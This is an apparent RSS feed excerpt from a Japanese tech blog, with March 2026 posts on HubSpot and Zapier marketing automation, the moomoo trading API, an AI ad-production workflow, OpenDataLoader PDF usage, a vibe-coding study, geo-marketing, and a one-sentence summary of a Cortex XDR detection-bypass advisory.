&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="line連携について"&gt;LINE連携について&lt;/h2&gt;
&lt;p&gt;HubSpotとLINEの連携には、&lt;a href="https://www.littlehelp.co.jp/"&gt;LITTLE HELP CONNECT&lt;/a&gt; などのサードパーティツールを利用します。連携することで、HubSpotのワークフローからLINEメッセージの自動配信が可能になり、セグメントごとに異なるメッセージを適切なタイミングで届けられます。&lt;/p&gt;
&lt;h2 id="まとめ"&gt;まとめ&lt;/h2&gt;
&lt;p&gt;HubSpotのMA機能をレストランの集客に活用することで、「来てほしい人に、来てほしいタイミングで、行きたくなる情報を届ける」仕組みを構築できます。まずは難易度の低い記念日メールやランチ客へのディナー訴求から始め、段階的にトラッキングベースの施策へ拡張していくのがおすすめです。&lt;/p&gt;</description></item><item><title>moomoo証券が米国株API取引に対応 — moomoo OpenAPIで個人投資家も自動売買が可能に</title><link>https://hdknr.github.io/blogs/posts/2026/03/moomoo%E8%A8%BC%E5%88%B8%E3%81%8C%E7%B1%B3%E5%9B%BD%E6%A0%AAapi%E5%8F%96%E5%BC%95%E3%81%AB%E5%AF%BE%E5%BF%9C-moomoo-openapi%E3%81%A7%E5%80%8B%E4%BA%BA%E6%8A%95%E8%B3%87%E5%AE%B6%E3%82%82%E8%87%AA%E5%8B%95%E5%A3%B2%E8%B2%B7%E3%81%8C%E5%8F%AF%E8%83%BD%E3%81%AB/</link><pubDate>Wed, 18 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/moomoo%E8%A8%BC%E5%88%B8%E3%81%8C%E7%B1%B3%E5%9B%BD%E6%A0%AAapi%E5%8F%96%E5%BC%95%E3%81%AB%E5%AF%BE%E5%BF%9C-moomoo-openapi%E3%81%A7%E5%80%8B%E4%BA%BA%E6%8A%95%E8%B3%87%E5%AE%B6%E3%82%82%E8%87%AA%E5%8B%95%E5%A3%B2%E8%B2%B7%E3%81%8C%E5%8F%AF%E8%83%BD%E3%81%AB/</guid><description>moomoo証券が提供する米国株API取引サービス「moomoo OpenAPI」を解説。Python SDKでの自動売買、リアルタイムデータ取得、バックテスト機能、国内他社APIとの比較まで網羅。</description></item><item><title>OpenClawを「バイブマーケター」に変えた方法 — AI広告自動化の実践ワークフロー</title><link>https://hdknr.github.io/blogs/posts/2026/03/openclaw%E3%82%92%E3%83%90%E3%82%A4%E3%83%96%E3%83%9E%E3%83%BC%E3%82%B1%E3%82%BF%E3%83%BC%E3%81%AB%E5%A4%89%E3%81%88%E3%81%9F%E6%96%B9%E6%B3%95-ai%E5%BA%83%E5%91%8A%E8%87%AA%E5%8B%95%E5%8C%96%E3%81%AE%E5%AE%9F%E8%B7%B5%E3%83%AF%E3%83%BC%E3%82%AF%E3%83%95%E3%83%AD%E3%83%BC/</link><pubDate>Wed, 18 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/openclaw%E3%82%92%E3%83%90%E3%82%A4%E3%83%96%E3%83%9E%E3%83%BC%E3%82%B1%E3%82%BF%E3%83%BC%E3%81%AB%E5%A4%89%E3%81%88%E3%81%9F%E6%96%B9%E6%B3%95-ai%E5%BA%83%E5%91%8A%E8%87%AA%E5%8B%95%E5%8C%96%E3%81%AE%E5%AE%9F%E8%B7%B5%E3%83%AF%E3%83%BC%E3%82%AF%E3%83%95%E3%83%AD%E3%83%BC/</guid><description>&lt;p&gt;個人開発者の Ernest Lopez 氏が、OpenClaw を活用して広告制作を自動化し、年間30万ドル規模のアプリ収益を伸ばしている事例が話題になっている。AIエージェント「Eddie」を中心としたワークフローは、競合リサーチから広告制作、パフォーマンス改善まで一気通貫で回す仕組みだ。&lt;/p&gt;
&lt;h2 id="バイブマーケティングとは"&gt;バイブマーケティングとは&lt;/h2&gt;
&lt;p&gt;「バイブマーケティング（Vibe Marketing）」は、AIエージェントにマーケティング業務を任せる新しいアプローチだ。従来の手作業による広告制作・テスト・改善サイクルを、AIが自律的に回す。Lopez 氏のケースでは、月3万ドルかけていた代理店を OpenClaw エージェントに置き換え、さらに月2万ドルの追加収益を生み出している。&lt;/p&gt;
&lt;h2 id="eddie-のワークフロー5つのステップ"&gt;Eddie のワークフロー：5つのステップ&lt;/h2&gt;
&lt;p&gt;Lopez 氏が構築した AIエージェント「Eddie」は、以下の5段階で広告を自動生成する。&lt;/p&gt;
&lt;h3 id="1-競合リサーチ"&gt;1. 競合リサーチ&lt;/h3&gt;
&lt;p&gt;Meta Ad Library から競合の勝ちパターン広告を収集する。Apify（Webスクレイピングツール）で広告動画をスクレイピングし、Whisper（OpenAI の音声認識モデル）で文字起こしして、効果的な訴求軸（アングル）を抽出する。&lt;/p&gt;
&lt;h3 id="2-ブランドボイスの学習"&gt;2. ブランドボイスの学習&lt;/h3&gt;
&lt;p&gt;AIが「AIっぽい文章」を書かないよう、以下のマークダウンファイルで知識を注入する。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;writing-rules.md&lt;/code&gt; — AIが多用する表現を禁止するルール&lt;/li&gt;
&lt;li&gt;&lt;code&gt;voice.md&lt;/code&gt; — ブランドの口調・トーン&lt;/li&gt;
&lt;li&gt;&lt;code&gt;product.md&lt;/code&gt; — 製品の詳細情報&lt;/li&gt;
&lt;li&gt;&lt;code&gt;icp.md&lt;/code&gt; — 理想的な顧客像（Ideal Customer Profile）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;これにより「商品に精通した高CVR（コンバージョン率）インフルエンサー」のような語り口で台本を生成できる。&lt;/p&gt;
&lt;h3 id="3-スクリプト生成"&gt;3. スクリプト生成&lt;/h3&gt;
&lt;p&gt;競合広告の分析結果をもとに、ブランドボイスでオリジナルの広告台本を作成する。さらにオーディエンスセグメントごとに50〜100以上のバリエーションを自動生成する。&lt;/p&gt;
&lt;h3 id="4-クリエイティブ制作"&gt;4. クリエイティブ制作&lt;/h3&gt;
&lt;p&gt;生成した台本を2つのルートで動画化する：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;UGCクリエイターへの外注&lt;/strong&gt;（1本15〜50ドル）— 品質重視のトップスクリプト向け&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Arcads（AI UGC広告作成ツール）&lt;/strong&gt; — 複数のAIアクターと組み合わせて大量のバリエーションを生成&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Arcads は1,000以上のAIアクターを持ち、リアルな人物ベースのAI動画広告を生成できるプラットフォームだ。&lt;/p&gt;
&lt;h3 id="5-自己改善ループ"&gt;5. 自己改善ループ&lt;/h3&gt;
&lt;p&gt;Singular MMP（モバイル計測プラットフォーム）経由でパフォーマンスデータを取得し、CPA（顧客獲得単価）を分析。効果の高いパターンを学習して次のバッチを改善する PDCA サイクルを自動で回す。&lt;/p&gt;
&lt;h2 id="なぜこのアプローチが注目されるのか"&gt;なぜこのアプローチが注目されるのか&lt;/h2&gt;
&lt;p&gt;このワークフローの核心は、単に「AIで広告を作る」だけでなく、&lt;strong&gt;リサーチ → 制作 → 計測 → 改善のサイクル全体をAIエージェントが自律的に回す&lt;/strong&gt;点にある。&lt;/p&gt;
&lt;p&gt;従来のマーケティングでは、各工程に専門のスタッフやツールが必要だった。Lopez 氏は OpenClaw のスキルシステムを使い、Claude Opus 4.6 の API で複数のAIエージェントを連携させることで、これを低コストで実現している。&lt;/p&gt;</description></item><item><title>OpenDataLoader PDF — CPUだけで毎秒100ページ、PDFをMarkdownに超高速変換するOSSツール</title><link>https://hdknr.github.io/blogs/posts/2026/03/opendataloader-pdf-cpu%E3%81%A0%E3%81%91%E3%81%A7%E6%AF%8E%E7%A7%92100%E3%83%9A%E3%83%BC%E3%82%B8pdf%E3%82%92markdown%E3%81%AB%E8%B6%85%E9%AB%98%E9%80%9F%E5%A4%89%E6%8F%9B%E3%81%99%E3%82%8Boss%E3%83%84%E3%83%BC%E3%83%AB/</link><pubDate>Wed, 18 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/opendataloader-pdf-cpu%E3%81%A0%E3%81%91%E3%81%A7%E6%AF%8E%E7%A7%92100%E3%83%9A%E3%83%BC%E3%82%B8pdf%E3%82%92markdown%E3%81%AB%E8%B6%85%E9%AB%98%E9%80%9F%E5%A4%89%E6%8F%9B%E3%81%99%E3%82%8Boss%E3%83%84%E3%83%BC%E3%83%AB/</guid><description>&lt;p&gt;GPUなしで毎秒100ページ以上のPDF→Markdown変換を実現するオープンソースツール「OpenDataLoader PDF」が話題になっている。Apache 2.0ライセンスで完全無料、CPUのみで動作するため、高価なGPUハードウェアは不要だ。&lt;/p&gt;
&lt;h2 id="opendataloader-pdf-とは"&gt;OpenDataLoader PDF とは&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://github.com/opendataloader-project/opendataloader-pdf"&gt;OpenDataLoader PDF&lt;/a&gt; は、PDFドキュメントをAI活用に適した構造化データ（Markdown、JSON、HTML等）に変換するオープンソースのパーサーだ。Java で実装されており、Python・Node.js・Java から利用できる。&lt;/p&gt;
&lt;p&gt;主な特徴:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;超高速処理&lt;/strong&gt;: ローカルモードで 0.05秒/ページ（CPUのみ）、8コア以上のマシンでマルチプロセスバッチ処理すると毎秒100ページ以上&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GPU不要&lt;/strong&gt;: CPUだけで高速に動作するため、導入コストが低い&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;高精度&lt;/strong&gt;: ベンチマークで総合精度0.90を達成し、読み順・テーブル・見出し抽出で1位&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Apache 2.0ライセンス&lt;/strong&gt;: 商用利用可能な完全オープンソース&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="インストール"&gt;インストール&lt;/h2&gt;
&lt;p&gt;Python パッケージは Java CLI のラッパーのため、&lt;strong&gt;Java 11以上&lt;/strong&gt;と&lt;strong&gt;Python 3.10以上&lt;/strong&gt;が必要だ。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Python&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;pip install -U opendataloader-pdf
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Node.js&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;npm install @opendataloader/pdf
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Java の場合は Maven で &lt;code&gt;opendataloader-pdf-core&lt;/code&gt; を依存関係に追加する。&lt;/p&gt;
&lt;h2 id="基本的な使い方"&gt;基本的な使い方&lt;/h2&gt;
&lt;h3 id="python-でのシンプルな変換"&gt;Python でのシンプルな変換&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; opendataloader_pdf
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;opendataloader_pdf&lt;span style="color:#f92672"&gt;.&lt;/span&gt;convert(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; input_path&lt;span style="color:#f92672"&gt;=&lt;/span&gt;[&lt;span style="color:#e6db74"&gt;&amp;#34;file1.pdf&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;file2.pdf&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;folder/&amp;#34;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; output_dir&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;output/&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; format&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;markdown,json&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;フォルダを指定すれば一括変換も可能だ。出力形式は Markdown、JSON、HTML、プレーンテキスト、注釈付きPDFから選べる。&lt;/p&gt;</description></item><item><title>Palo Alto Cortex XDR の振る舞い検知ルールが解読・バイパスされた脆弱性の全容</title><link>https://hdknr.github.io/blogs/posts/2026/03/palo-alto-cortex-xdr-%E3%81%AE%E6%8C%AF%E3%82%8B%E8%88%9E%E3%81%84%E6%A4%9C%E7%9F%A5%E3%83%AB%E3%83%BC%E3%83%AB%E3%81%8C%E8%A7%A3%E8%AA%AD%E3%83%90%E3%82%A4%E3%83%91%E3%82%B9%E3%81%95%E3%82%8C%E3%81%9F%E8%84%86%E5%BC%B1%E6%80%A7%E3%81%AE%E5%85%A8%E5%AE%B9/</link><pubDate>Wed, 18 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/palo-alto-cortex-xdr-%E3%81%AE%E6%8C%AF%E3%82%8B%E8%88%9E%E3%81%84%E6%A4%9C%E7%9F%A5%E3%83%AB%E3%83%BC%E3%83%AB%E3%81%8C%E8%A7%A3%E8%AA%AD%E3%83%90%E3%82%A4%E3%83%91%E3%82%B9%E3%81%95%E3%82%8C%E3%81%9F%E8%84%86%E5%BC%B1%E6%80%A7%E3%81%AE%E5%85%A8%E5%AE%B9/</guid><description>Cortex XDR エージェントの BIOC ルールが AES 暗号化キーのハードコードにより解読可能だった脆弱性の技術解説。ccmcache 許可リストによる検知バイパスの手口と修正内容を詳述。</description></item><item><title>Vibe Coding で結果を出すために必要な2つのスキル — CS基礎知識と論理的文章力</title><link>https://hdknr.github.io/blogs/posts/2026/03/vibe-coding-%E3%81%A7%E7%B5%90%E6%9E%9C%E3%82%92%E5%87%BA%E3%81%99%E3%81%9F%E3%82%81%E3%81%AB%E5%BF%85%E8%A6%81%E3%81%AA2%E3%81%A4%E3%81%AE%E3%82%B9%E3%82%AD%E3%83%AB-cs%E5%9F%BA%E7%A4%8E%E7%9F%A5%E8%AD%98%E3%81%A8%E8%AB%96%E7%90%86%E7%9A%84%E6%96%87%E7%AB%A0%E5%8A%9B/</link><pubDate>Wed, 18 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/vibe-coding-%E3%81%A7%E7%B5%90%E6%9E%9C%E3%82%92%E5%87%BA%E3%81%99%E3%81%9F%E3%82%81%E3%81%AB%E5%BF%85%E8%A6%81%E3%81%AA2%E3%81%A4%E3%81%AE%E3%82%B9%E3%82%AD%E3%83%AB-cs%E5%9F%BA%E7%A4%8E%E7%9F%A5%E8%AD%98%E3%81%A8%E8%AB%96%E7%90%86%E7%9A%84%E6%96%87%E7%AB%A0%E5%8A%9B/</guid><description>CHI 2026 論文の解説。大学生100名の調査で、Vibe Coding の成績を予測する因子はCS基礎知識と論理的文章力の2つであることが実証された。</description></item><item><title>Zapier を使った HubSpot と Asana の連携：集計ロジックも追加する方法</title><link>https://hdknr.github.io/blogs/posts/2026/03/zapier-%E3%82%92%E4%BD%BF%E3%81%A3%E3%81%9F-hubspot-%E3%81%A8-asana-%E3%81%AE%E9%80%A3%E6%90%BA%E9%9B%86%E8%A8%88%E3%83%AD%E3%82%B8%E3%83%83%E3%82%AF%E3%82%82%E8%BF%BD%E5%8A%A0%E3%81%99%E3%82%8B%E6%96%B9%E6%B3%95/</link><pubDate>Wed, 18 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/zapier-%E3%82%92%E4%BD%BF%E3%81%A3%E3%81%9F-hubspot-%E3%81%A8-asana-%E3%81%AE%E9%80%A3%E6%90%BA%E9%9B%86%E8%A8%88%E3%83%AD%E3%82%B8%E3%83%83%E3%82%AF%E3%82%82%E8%BF%BD%E5%8A%A0%E3%81%99%E3%82%8B%E6%96%B9%E6%B3%95/</guid><description>&lt;p&gt;Zapier を使って HubSpot と Asana を連携させる方法と、Code by Zapier で集計ロジックを追加するテクニックを紹介します。&lt;/p&gt;
&lt;h2 id="hubspot--asana-連携の基本"&gt;HubSpot × Asana 連携の基本&lt;/h2&gt;
&lt;p&gt;HubSpot（CRM・マーケティング）と Asana（プロジェクト管理）を連携させることで、営業パイプラインとタスク管理を自動化できます。Zapier を使えばノーコードで連携を構築できます。&lt;/p&gt;
&lt;h3 id="よくある連携パターン"&gt;よくある連携パターン&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;トリガー（HubSpot）&lt;/th&gt;
&lt;th&gt;アクション（Asana）&lt;/th&gt;
&lt;th&gt;ユースケース&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;新規ディールが作成された&lt;/td&gt;
&lt;td&gt;タスクを作成&lt;/td&gt;
&lt;td&gt;商談ごとにプロジェクトタスクを自動生成&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ディールのステージが変わった&lt;/td&gt;
&lt;td&gt;タスクを更新&lt;/td&gt;
&lt;td&gt;進捗をリアルタイムに反映&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;フォーム送信があった&lt;/td&gt;
&lt;td&gt;タスクを作成&lt;/td&gt;
&lt;td&gt;問い合わせ対応タスクを自動起票&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;新規チケットが作成された&lt;/td&gt;
&lt;td&gt;タスクを作成&lt;/td&gt;
&lt;td&gt;サポート対応を Asana で管理&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;逆方向の連携もあります。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;トリガー（Asana）&lt;/th&gt;
&lt;th&gt;アクション（HubSpot）&lt;/th&gt;
&lt;th&gt;ユースケース&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;タスクが完了した&lt;/td&gt;
&lt;td&gt;コンタクトを更新&lt;/td&gt;
&lt;td&gt;納品完了を CRM に反映&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;タスクにコメントが追加された&lt;/td&gt;
&lt;td&gt;エンゲージメントを作成&lt;/td&gt;
&lt;td&gt;活動履歴を CRM に記録&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="zapier-での連携セットアップ"&gt;Zapier での連携セットアップ&lt;/h2&gt;
&lt;h3 id="1-zap-の作成"&gt;1. Zap の作成&lt;/h3&gt;
&lt;p&gt;Zapier にログインし、「Create Zap」から新しい Zap を作成します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;トリガーの設定（例: HubSpot → Asana）:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;トリガーアプリに &lt;strong&gt;HubSpot&lt;/strong&gt; を選択&lt;/li&gt;
&lt;li&gt;トリガーイベントに「New Deal」を選択&lt;/li&gt;
&lt;li&gt;HubSpot アカウントを接続&lt;/li&gt;
&lt;li&gt;テストを実行して動作確認&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;アクションの設定:&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>ジオマーケティングとは？位置情報を活用した集客手法と FreakOut ASE の特徴</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E3%82%B8%E3%82%AA%E3%83%9E%E3%83%BC%E3%82%B1%E3%83%86%E3%82%A3%E3%83%B3%E3%82%B0%E3%81%A8%E3%81%AF%E4%BD%8D%E7%BD%AE%E6%83%85%E5%A0%B1%E3%82%92%E6%B4%BB%E7%94%A8%E3%81%97%E3%81%9F%E9%9B%86%E5%AE%A2%E6%89%8B%E6%B3%95%E3%81%A8-freakout-ase-%E3%81%AE%E7%89%B9%E5%BE%B4/</link><pubDate>Wed, 18 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E3%82%B8%E3%82%AA%E3%83%9E%E3%83%BC%E3%82%B1%E3%83%86%E3%82%A3%E3%83%B3%E3%82%B0%E3%81%A8%E3%81%AF%E4%BD%8D%E7%BD%AE%E6%83%85%E5%A0%B1%E3%82%92%E6%B4%BB%E7%94%A8%E3%81%97%E3%81%9F%E9%9B%86%E5%AE%A2%E6%89%8B%E6%B3%95%E3%81%A8-freakout-ase-%E3%81%AE%E7%89%B9%E5%BE%B4/</guid><description>&lt;p&gt;ジオマーケティング（Geo-marketing）は、スマートフォンの GPS やWi-Fi、ビーコンなどから取得した位置情報を活用して、特定エリアのユーザーに最適な広告や情報を配信するマーケティング手法です。ここでは、ジオマーケティングの基本と、FreakOut 社が提供する位置情報マーケティングプラットフォーム「ASE」を紹介します。&lt;/p&gt;
&lt;h2 id="ジオマーケティングの基本"&gt;ジオマーケティングの基本&lt;/h2&gt;
&lt;p&gt;ジオマーケティングとは、ユーザーの位置情報データを分析・活用して、地域に根差した集客やプロモーションを行う手法です。&lt;/p&gt;
&lt;h3 id="取得できるデータ"&gt;取得できるデータ&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;来訪者の属性&lt;/strong&gt;: どこから来ているか、年代、単身か家族連れか&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;行動パターン&lt;/strong&gt;: 何曜日の何時に人が集まるか&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;商圏分析&lt;/strong&gt;: 周辺エリアの人流データ&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="主なデータソース"&gt;主なデータソース&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;GPS（スマートフォン）&lt;/li&gt;
&lt;li&gt;Wi-Fi 接続情報&lt;/li&gt;
&lt;li&gt;ビーコン（Bluetooth）&lt;/li&gt;
&lt;li&gt;IP アドレス&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="freakout-ase--位置情報マーケティングプラットフォーム"&gt;FreakOut ASE — 位置情報マーケティングプラットフォーム&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://www.fout.co.jp/freakout/product/ase/"&gt;FreakOut ASE&lt;/a&gt; は、フリークアウト社が提供する位置情報マーケティングプラットフォームです。&lt;/p&gt;
&lt;h3 id="主な特徴"&gt;主な特徴&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;項目&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;リーチ規模&lt;/td&gt;
&lt;td&gt;5,000万以上のユーザー&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;エリア精度&lt;/td&gt;
&lt;td&gt;最小半径1m の円指定、ポリゴン指定に対応&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;配信面&lt;/td&gt;
&lt;td&gt;Red ネットワーク、TVer PMP、各種 SNS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;来店計測&lt;/td&gt;
&lt;td&gt;建物に沿った精密な来店計測&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;分析機能&lt;/td&gt;
&lt;td&gt;推定居住エリア、ユーザー行動分析&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="データソース"&gt;データソース&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;チェーンストアデータ&lt;/li&gt;
&lt;li&gt;NTT iタウンページ&lt;/li&gt;
&lt;li&gt;ゼンリン社の住居データ&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;提携した大手スマートフォンアプリベンダーや位置情報データプラットフォーマーから位置情報を取得し、国内最大規模の位置情報データベースを構築しています。&lt;/p&gt;
&lt;h2 id="活用シーン"&gt;活用シーン&lt;/h2&gt;
&lt;p&gt;ジオマーケティングは、実店舗を持つビジネスとの相性が良く、以下のような活用が可能です。&lt;/p&gt;
&lt;h3 id="チラシooh-の補完"&gt;チラシ・OOH の補完&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;ショッピングモールへの来場促進&lt;/li&gt;
&lt;li&gt;新店舗オープンの告知&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="ターゲティング広告"&gt;ターゲティング広告&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;大学オープンキャンパスの告知（周辺エリアの高校生向け）&lt;/li&gt;
&lt;li&gt;自動車ディーラーへの来店促進&lt;/li&gt;
&lt;li&gt;住宅展示場への誘導&lt;/li&gt;
&lt;li&gt;学習塾の受講者募集&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="流通対策"&gt;流通対策&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;家電量販店での販売促進&lt;/li&gt;
&lt;li&gt;ドラッグストア来店者への医薬品告知&lt;/li&gt;
&lt;/ul&gt;
